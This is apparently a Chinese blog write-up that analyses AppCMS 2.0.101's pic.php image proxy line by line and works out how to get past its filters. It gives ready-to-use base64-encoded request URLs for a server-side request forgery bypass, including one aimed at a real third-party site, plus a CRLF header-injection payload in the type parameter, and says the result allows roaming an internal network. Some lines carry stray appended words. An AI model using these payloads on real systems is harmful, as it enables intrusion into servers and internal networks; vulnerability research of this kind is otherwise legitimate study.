官网:http://www.appcms.cc/
演示站点:http://www.topber.com/
下载最新安装包:http://www.appcms.cc/download/appcms_2.0.101.zipphp
安装好后看 pic.php 文件代码以下:html
<?php if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) { $img_url=trim($_GET['url']); $img_url = base64_decode($img_url); $img_url=strtolower(trim($img_url)); $_GET['type']=strtolower(trim($_GET['type'])); $urls=explode('.',$img_url); if(count($urls)<=1) die('image type forbidden 0'); $file_type=$urls[count($urls)-1]; if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');} if(strstr($img_url,'php')) die('image type forbidden 2'); if(strstr($img_url,chr(0)))die('image type forbidden 3'); if(strlen($img_url)>256)die('url too length forbidden 4'); header("Content-Type: image/{$_GET['type']}"); readfile($img_url); } else { die('image not find!'); } ?>
下面一行一行分析:数组
<?php if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) { $img_url=trim($_GET['url']); //去掉空白字符 $img_url = base64_decode($img_url); //把url参数作base64解码、说明传入时是base64编码的 $img_url=strtolower(trim($img_url));//把img_url转化为小写 $_GET['type']=strtolower(trim($_GET['type']));//把type转为小写 $urls=explode('.',$img_url); //使用 . 分割 img_url,若是是1.png if(count($urls)<=1) die('image type forbidden 0');//若是urls数组小于或者等于1,则终止输出image type forbidden 0 ///pic.php?url=test&type=png,随便试试看
//也就是说首先要绕过这个流程,就必需要urls数组大于1才能够,也就是.作base64编码,而后.的左右要都不为空才能够;
//把 http://test.com 作base64编码后的值是 aHR0cDovL3Rlc3QuY29t 而后用这个值试试能否绕过第一部流程;
//访问 /pic.php?url=aHR0cDovL3Rlc3QuY29t&type=png浏览器
// 走到下面的流程了,继续看下面的代码;app
$file_type=$urls[count($urls)-1]; //取得数组倒数第一个值,这里是获取文件类型的哦 if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');
//判断图片类型是否是’jpg’,’gif’,’png’,’jpeg’这几种,若是是的话什么都不作,若是不是的话则输出 image type foridden 1
//上面走到 image type foridden 1了,接着要加个图片类型,绕过这个流程;
//把http://test.com/1.png 作base64编码 aHR0cDovL3Rlc3QuY29tLzEucG5n 访问
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=png, 在这样是能够绕过这个流程,不过显示的不对了,成为正常访问图片的效果了;ide
//这里其实也存在一个浏览器的RFC标准问题、没按照标准来就容易出问题;测试
//要实现***f 这样是作不到了,换成php试试呢,
//把http://test.com/1.php 作base64编码 aHR0cDovL3Rlc3QuY29tLzEucGhw 访问
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=php编码
发现又回到了上面的流程、这样行不通。。。url
//上面流程主要是判断图片类型的、 把http://test.com/1.png 作编码,这样是读png图片流,响应为php文件;
访问 http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=php设计
发如今客户端是下载php的,而不是去解析php的,由于随便构造的,下载下来的文件是啥都没有。
//上面是把图片看成php文件去下载、 反过来试试呢
//把php文件当图片下载
把http://test.com/1.php 作编码;
访问 http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=png
试过了仍是不行、仍是回到了上面的流程了、、、
由于在 url 参数中作了扩展名控制,因此不能任意文件下载,否则能够作base64编码作任意文件下载噢、还有一种状况存在的可能性,解析漏洞、试试看
把http://test.com/1.php%00.png 作编码是 aHR0cDovL3Rlc3QuY29tLzEucGhwJTAwLnBuZw==
访问:http://127.0.0.1/appcms/pic.php?url= aHR0cDovL3Rlc3QuY29tLzEucGhwJTAwLnBuZw==&type=png
// appcms 的设计还真是严谨、考虑的这么周到;终于到下一步了; if(strstr($img_url,'php')) die('image type forbidden 2');//这里看到了,防御了解析漏洞 if(strstr($img_url,chr(0)))die('image type forbidden 3');//这里还判断了空字符截断 if(strlen($img_url)>256)die('url too length forbidden 4');//还判断了 url长度不能大于256 header("Content-Type: image/{$_GET['type']}");//这里是重点,type是响应类型,这个参数是可控的了 readfile($img_url);//开始读文件 } else { die('image not find!');//若是没有设置url或者type走这里 }
代码分析完毕、、、、
以后考虑了下 /1.png 能够经过判断, 用/?1.png也能够经过判断,这就是问题所在了,/?1.png至关于/index.php?pic=1.png或者/index.html?pic=1.png,这样访问在没有获取这个参数时会忽略掉直接显示;试试看
随便找个站 http://v.qq.com/x/search/?q=1.png ,而后作base64编码;
aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n
访问:
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png
ok了、、、若是用火狐的话,须要分析这个文件流,内容都是文件流中,基于浏览器的解析机制不同,能够换IE浏览器,直接查看返回的内容了;
做为极客、这样不算完成、过滤了空字符、还能够联想到 HTTP相应拆分漏洞,用他来显示出内容;
给个换行 测试url以下:
http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png%0A%0Dtest
而后就能够内网漫游了、、、